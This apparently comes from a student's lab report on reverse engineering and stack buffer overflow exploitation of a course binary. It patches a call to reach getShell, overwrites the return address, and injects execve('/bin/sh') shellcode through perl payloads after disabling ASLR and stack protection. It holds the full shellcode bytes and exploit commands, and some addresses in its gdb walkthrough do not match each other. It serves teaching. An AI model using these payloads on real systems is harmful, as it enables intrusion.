PC平台逆向破解
PC平台逆向破解
1.实验内容
1.1 实验目标
我们实践的目标就是想办法利用pwn1这个文件实现以下三个实践内容:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode
1.2 基础知识
1.2.1 汇编知识
call:调用子程序。先将返回地址(EIP)压入栈顶,再将程序跳转到当前调用方法的起始地址。
call=push eip + jump
leave:关闭栈帧。栈指针指向帧指针,然后POP备份的原帧指针到%EBP。
leave=mov %ebp %esp + pop %ebp
ret:子程序的返回指令。栈顶的返回地址弹出到EIP,按照EIP此时指示的指令地址继续执行程序。
ret=pop eip
NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
EIP:寄存器,存放CPU下一条要执行指令的内存地址。例如:主函数调用子函数,EIP指明子函数执行完后回到主函数中要执行的指令是哪一条。
ESP:寄存器,存放栈顶指针,并且始终指向栈顶。
EBP:寄存器,存放栈底指针。当调用子函数前,ESP将值传递给EBP,作为栈底;当子函数调用结束后,EBP将值传递给ESP,ESP再次指向栈顶。
1.2.2 Linux操作
objdump -d:从objfile中反汇编那些特定指令机器码的section。
"|":管道,将前者的输出作为后者的输入。
">":输入输出重定向符,将前者输出的内容输入到后者中。
more:分页显示文件内容。
perl:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。“perl -e”后面紧跟单引号括起来的字符串,表示在命令行要执行的命令;使用输出重定向“>”可将perl生成的字符串存储到文件中。
xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
1.2.3 其他
小端模式:数据高字节保存在内存高地址,数据低字节保存在内存低地址。
大端模式:数据高字节保存在内存低地址,数据低字节保存在内存高地址,和阅读习惯一致。
栈:LIFO,栈顶低栈底高,增长方向由高地址向低地址,指令执行方向从低地址到高地址。
shellcode:一段机器指令(code)。通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
ASLR:Address Space Layout Randomization,地址空间布局随机化。这是一种针对缓冲区溢出的安全保护技术。借助ASLR,文件每次加载到内存的起始地址都会随机变化。
2.实验过程
2.1 实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
2.2 实验步骤
(1) 直接修改机器指令,改变程序执行流程
下载文件pwn1并修改文件名为学号,接下来对文件进行反汇编
#mv pwn1 pwn20192421
#objdump -d -pwn20192421 | more
其中有三个函数需要关注,分别为main(主函数)foo函数和getshell
根据上图结果,我们可以得出结果,main函数中,汇编指令"call 8048491 "将调用位于地址8048491处的foo函数。
对应机器指令为“e8 d7ffffff”,e8即“跳转”,CPU将执行地址为“EIP + d7ffffff”处指令。
而EIP的值是下条指令的地址,即80484ba,“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值,所以foo函数的地址为0x8048491。
现在我们需要main调用getShell函数,则只要修改“d7ffffff”为,"getShell-80484ba"对应的补码c3ffffff,也就是需要把“d7”改为“c3”。
对应指令为:
vi pwn20192421 #进入目标文件
:%!xxd #转换为16进制
/d7 #查找要修改的内容
rcr3 #用r将“d7”修改为c3
:%!xxd -r #转换16进制为原格式
:wq #保存退出
objdump -d pwn20192421 | more #反汇编查修改是否正确
找到的数据
修改完成后,函数汇编指令如图:
运行修改后的结果
(2) 通过构造输入参数,造成BOF攻击,改变程序执行流
<1> 反汇编,了解程序的基本功能
文件反汇编结果如下图
经分析foo函数中分配给输入字符的空间为0x1c,即28个字节,若输入字符大于这个数则可能会覆盖EBP、EIP,影响程序的正常执行。EBP所占大小为4个字节,即第33个字节会覆盖到EIP的位置。只要我们构造的字符串能够溢出到EIP所在位置,将其中的返回地址“80484ba”覆盖为getShell函数的地址“804847d”,则程序执行完foo函数后将返回到getShell函数去执行。
<2> 确认输入字符串哪几个字符会覆盖到返回地址
使用gdb进行调试,输入“r”运行代码
输入长度为36字节的字符串“1111111122222222333333334444444412345678”
查看当前所有寄存器的值,其中EIP的值为“0x34333231”,对应字符“4321”,正是我们输入的第33~36个字节的内容。如下图:
由上图结果可以判断输入的第33~36个字节的内容会覆盖到栈上的返回地址,进而CPU会尝试运行这个位置的代码。
那只要将这四个字节的内容替换为getShell的内存地址“804847d”,pwn20192421就会运行getShell。
<3> 确认用什么值来覆盖返回地址
通过反汇编可以看到getShell的内存地址,即0804847d。由之前的结果可以得知我们应当使用小端字节序输入getShell函数的首地址,即7d840408,也即为“32个字符+\x7d\x84\x04\x08”。
<4> 构造输入字符串
由于\x7d\x84\x04\x08无法由键盘输入,所以使用perl生成字符串放到input文件中,再用管道符|将文件input的内容输入pwn20192421。
(2) 注入Shellcode并执行
<1> 准备一段Shellcode
shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
这里使用许同学的Shellcode入门中的Shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
<2> 准备工作
开始之前,我们需要再做一些准备,命令如下:
apt-get install execstack #安装execstack
execstack -s pwn201924211 #设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space #关闭地址随机化
<3> 构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
--
我们这个buf够放这个shellcode了
结构为:nops+shellcode+retaddr。
使用如下命令构建字符串并保存到input_shellcode中,其中前四字节还不确定,使用12 34h填充。
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
接下来我们来确定\x4\x3\x2\x1到底该填什么。
打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn201924211
再打开另一个终端,首先使用命令找到pwn201924211的进程号
ps -ef | grep pwn1-201924211
root 123242 117432 0 11:52 pts/1 00:00:00 ./pwn201924211
root 123256 123154 0 11:52 pts/3 00:00:00 grep --color=auto pwn201924211
再使用gdb调试该进程
gdb
(gdb) attach [pid]
然后反汇编foo函数,查看返回指令(ret)的地址
(gdb) disassemble foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
End of assembler dump.
在返回指令的地址处设置断点,之后在另外一个终端中按下回车,然后再使用c使程序继续运行
break *[address]
# 根据上面的结果,这里的address应该填入0x080484ae
# 在运行程序的终端按下回车
(gdb) c
待程序运行到断点处,查看此时的esp寄存器的值,获得我们注入的字符串的地址
(gdb) info r esp
esp 0xffffd4e0 0xffffd4e0
我们使用如下指令查看该地址附近的数据
(gdb) x/16x 0xffffd4e0
0xffffd4e0: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873
0xffffd4f0: 0x896e6962 0x895350e3 0xb0d231e1 0x0080cd0b
0xffffd500: 0xffffd500 0xf7ffdb98 0xf7fc3420 0xf7fa8000
0xffffd510: 0x00000001 0x00000000 0xffffd578 0x00000000
(gdb) x/16x 0xffffd4df
0xffffd4df: 0x90909004 0x31909090 0x2f6850c0 0x6868732f
0xffffd4ef: 0x6e69622f 0x5350e389 0xd231e189 0x80cd0bb0
0xffffd4ff: 0xffd50000 0xffdb98ff 0xfc3420f7 0xfa8000f7
0xffffd50f: 0x000001f7 0x00000000 0xffd57800 0x000000ff
从0xffffd10c开始观察,可以发现数据采用小端字节序,并且将返回地址改为ff ff d1 10就可以让程序执行Shellcode,这样一来\x1\x2\x3\x4就应该修改为\x10\xd0\xff\xff,于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。
perl -e 'print "A" x 32;print "\x10\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_shellcode
(cat input_shellcode;cat) | ./pwn201924211
此时可以成功显示shell
3.问题及解决方案
- 问题1:修改终端名称后关闭终端再开,终端名称就恢复了原来的默认名称
- 问题1解决方案:使用hostnamectl命令 查看帮助文档
hostnamectl -help
我们可以看到里面有一条set-hostname,我们看它的介绍就知道它可以修改系统的主机名
于是:
hostnamectl set-hostname zengyuhan //名字随便起
当然改完还有个问题,你使用其他命令的时候他会提示你原主机名sudo解析失败
这个时候需要我们修改文件了
sudo vim /etc/hosts
进去能看到两条127.0.0.1 后面各自跟了一个名字,第二条所跟的就是我们以前设置的主机名,这里把这个主机名也修改成你上面改过的名字,一定要相同,否则还是有会报错。
- 问题2:使用命令execstack操作系统提示——无法定位软件包 execstack
- 问题2解决方案:通过与同学讨论,我找到了execstack的官方网站并成功找到了execstack的安装包,具体下载地址见下面的链接。
https://debian.pkgs.org/10/debian-main-amd64/execstack_0.0.20131005-1+b10_amd64.deb.html
然后使用apt的命令完成安装
apt install ./execstack_0.0.20131005-1+b10_amd64.deb
剩下的按照提示进行即可
4.学习感悟、思考等
我通过本次实验的学习,我对于Linux基本命令与堆栈的结构有了更深的理解的掌握。首先我学到了如何将无法直接通过键盘输入的值写入文件,方法是使用输出重定向用于将Perl语言生成的字符串写入文件,再将文件通过管道符|输入程序,这样就可以将键盘无法输入的值输入程序中。
perl:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。“perl -e”后面紧跟单引号括起来的字符串,表示在命令行要执行的命令;使用输出重定向“>”可将perl生成的字符串存储到文件中。
另外关于linux基本命令也不够熟悉,有许多简单的基本命令不熟悉,再需要使用时要去现查,本次实验包括但不限于下面几条
objdump -d:从objfile中反汇编那些特定指令机器码的section。
"|":管道,将前者的输出作为后者的输入。
">":输入输出重定向符,将前者输出的内容输入到后者中。
more:分页显示文件内容
参考资料
- 《Java程序设计与数据结构教程(第二版)》
- 《Java程序设计与数据结构教程(第二版)》学习指导
- 0x11_MAL_逆向与Bof基础.md-wildlinux(https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_逆向与Bof基础.md)
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通